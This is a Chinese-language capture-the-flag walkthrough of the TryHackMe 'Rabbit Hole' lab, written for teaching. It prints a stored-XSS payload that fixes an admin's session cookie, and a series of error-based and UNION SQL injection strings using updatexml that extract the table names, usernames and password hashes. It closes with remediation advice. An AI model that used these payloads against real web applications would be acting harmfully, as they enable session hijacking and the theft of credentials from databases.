Rabbit Hole TryHackMe
字数 2775 2025-10-13 22:56:21
TryHackMe “Rabbit Hole” 挑战教学文档
文档概述
本教学文档基于 TryHackMe 的 “Rabbit Hole” 实战挑战,详细讲解了一个结合了 XSS(跨站脚本攻击) 和 SQL注入 的经典漏洞链利用案例。核心攻击路径是:通过一个存储型XSS漏洞窃取管理员会话,然后在管理员访问的页面中挖掘并利用SQL注入漏洞,最终从数据库提取敏感信息。
目标环境:一个存在多个漏洞的Web应用程序。
核心知识点:信息收集、XSS、Cookie会话管理、SQL注入(基于错误的注入、UNION查询)。
技术栈:PHP、MariaDB/MySQL。
第一阶段:信息收集与初步侦查
-
端口扫描
- 操作:使用
nmap等工具对目标进行端口扫描。 - 结果:确认目标开放了HTTP服务(端口80)。这是后续所有攻击的入口点。
- 操作:使用
-
Web应用探测
- 访问80端口:发现一个Web应用。
- 发现关键端点:
/login.php: 用户登录页面。提示“不能使用暴力破解”,暗示此处可能存在账户锁定或其他防御机制。/register.php: 用户注册页面。这是获取初始访问权限的关键。
- 参数识别:通过拦截登录请求,发现
login.php使用POST方法传递参数username和password。
第二阶段:获取立足点 - 利用XSS劫持管理员会话
这是本挑战最精妙的部分,涉及一个多步骤的攻击链。
-
注册普通用户
- 操作:通过
/register.php页面注册一个新账号(例如,用户名为test)。 - 目的:获得一个合法的应用程序身份,以便访问登录后的功能。
- 操作:通过
-
登录后发现关键信息
- 登录后观察:
- 页面显示了当前登录的用户名(例如,“Welcome, test”)。
- 页面提示,除了自己创建的账号外,系统中还存在其他3个账号,其中一个是
admin。 - 核心发现:系统存在一个存储型XSS漏洞,因为用户名在未经过滤的情况下被直接输出到HTML页面中。
- 另一个关键发现(会话管理缺陷):
- 作者发现,在多次登录和退出后,会话Cookie(PHPSESSID)保持不变。
- 更重要的提示是:admin账号会每分钟自动登录一次。这意味着admin会定期触发任何存储在其视图中的XSS payload。
- 登录后观察:
-
构造XSS Payload劫持会话
- 攻击逻辑:由于admin会定期访问页面,并且页面会显示所有用户名,我们可以将用户名修改为一个恶意的JavaScript代码。当admin登录时,该代码会在其浏览器中执行,从而将admin的会话Cookie替换为我们已知的Cookie值。这样,我们就能以admin身份登录。
- Payload 构造:
<script> document.cookie = "PHPSESSID=已知的会话ID; path=/"; location.reload(); // 可选:重新加载页面以确保新会话ID生效 </script> - 攻击步骤:
- 将用户名修改为上述XSS Payload。这里的“已知的会话ID”是攻击者(我们)自己当前会话的
PHPSESSID值。 - 等待最多一分钟,admin账号自动登录。admin浏览器执行我们的XSS代码,将其会话Cookie篡改成我们的Cookie。
- 此时,在浏览器中,我们仍然使用原来的会话。由于admin的会话已经被我们“劫持”(变成了和我们一样的值),我们刷新页面或重新访问应用,就会以admin权限登录。
- 将用户名修改为上述XSS Payload。这里的“已知的会话ID”是攻击者(我们)自己当前会话的
第三阶段:权限提升与数据提取 - 利用SQL注入
在以admin身份登录后,攻击进入下一阶段。
-
发现SQL注入点
- 位置:在admin才能访问的某个功能页面中(通常是用户查询或日志查看等功能)。
- 探测:作者通过提交参数
1"进行测试,触发了数据库错误。这表明注入点存在,并且使用双引号作为字符串分隔符。这是一个基于错误的SQL注入。
-
利用SQL注入进行信息收集
- 步骤1:确认字段数
- Payload:
1" UNION SELECT 1,2 -- - 分析:使用
UNION SELECT需要前后查询的列数一致。通过不断增加SELECT后的数字,直到页面正常回显,确定查询结果为2列。
- Payload:
- 步骤2:利用
updatexml进行错误回显注入- 由于页面可能不直接显示UNION查询的结果,可以利用MariaDB/MySQL的
updatexml函数触发错误,并将查询结果带到错误信息中。 - 爆数据库名:
1" and updatexml(1, concat(0x7e, (select database()), 0x7e), 1) -- +0x7e是波浪号~的十六进制,用于在错误信息中清晰地分隔出我们想要的数据。
- 爆表名:
1" and updatexml(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=database()), 0x7e), 1) -- +- 结果:得到表名
users和logins。
- 结果:得到表名
- 爆字段名(列名):
1" and updatexml(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name='users'), 0x7e), 1) -- +- 结果:得到
users表的列,如username,password等。
- 结果:得到
- 由于页面可能不直接显示UNION查询的结果,可以利用MariaDB/MySQL的
- 步骤1:确认字段数
-
提取敏感数据(用户名和密码)
- 爆用户名:
1" and updatexml(1, concat(0x7e, (select group_concat(username) from users), 0x7e), 1) -- +- 结果:
~admin,foo,bar,1...(由于updatexml的长度限制,显示不全)。
- 结果:
- 爆密码哈希:
1" and updatexml(1, concat(0x7e, (select group_concat(password) from users), 0x7e), 1) -- +- 结果:得到不完整的密码哈希串,如
~0e3ab8e45ac1163c2343990e427c...。
- 结果:得到不完整的密码哈希串,如
- 解决显示限制:使用
substring或mid函数分段获取完整数据。1" UNION SELECT 1, SUBSTRING((SELECT group_concat(password) FROM users), 1, 50) -- +- 通过改变
SUBSTRING的起始位置和长度,可以逐段获取所有用户的密码哈希值。
- 通过改变
- 爆用户名:
漏洞总结与修复建议
| 漏洞类型 | 危害 | 修复建议 |
|---|---|---|
| 存储型XSS | 攻击者可劫持其他用户(包括管理员)会话,执行恶意操作。 | 对所有用户输入进行严格的输出编码(如HTML转义)。使用内容安全策略(CSP)。 |
| 不安全的会话管理 | 会话ID固定不变,容易被劫持后长期利用。 | 实现会话轮换,用户登录后和权限变更时生成新的会话ID。 |
| SQL注入 | 攻击者可读取、修改、删除数据库中的敏感数据。 | 使用参数化查询(预编译语句),避免直接拼接用户输入到SQL命令中。 |
| 信息泄露 | 提示admin的自动登录行为,为攻击者提供了时间窗口信息。 | 避免在前端向普通用户透露不必要的系统内部行为。 |
学习要点与技巧
- 漏洞链思维:单一漏洞可能无法直接实现目标,但将多个低危或中危漏洞组合起来(如XSS + 会话缺陷 + SQL注入)可能形成一条完整的高危攻击链。
- 耐心观察:成功的渗透测试依赖于对应用行为的细致观察,例如页面回显、错误信息、Cookie变化、系统提示等。
- 自动化脚本:文中提到可以编写脚本批量注册和登录,这是一种在真实测试中提高效率的方法。
- 利用系统视图:
information_schema数据库是SQL注入时枚举数据库结构的强大工具。
此文档完整还原了“Rabbit Hole”挑战的核心技术流程,希望对您的网络安全学习有所帮助。